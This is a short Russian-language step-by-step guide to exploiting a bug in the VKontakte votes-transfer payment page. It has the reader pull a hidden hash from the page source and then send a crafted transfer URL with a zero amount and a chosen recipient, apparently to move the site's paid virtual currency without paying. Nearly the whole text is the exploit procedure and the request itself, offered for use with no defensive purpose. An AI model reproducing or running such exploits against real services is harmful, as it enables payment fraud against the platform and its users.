1. Для использования баги был нужен 1 голос и 1 привязанный акк
2. Шлем этот 1 голос все равно кому, напимер своему мульту
3. http://vkontakte.ru/payments.php?act=votes_transfer
4. Смотрим исходный код страницы
5. Ищем: <input type="hidden" name="hash" value="17aa13c85df39b6e
6. Забираем хешик
7. http://vkontakte.ru/payments.php?act=votes_transfer_send&hash=[хешик]&transfer_to=[id]&transfer_to_custom=&transfer_amount=0&transfer_comment=[комент]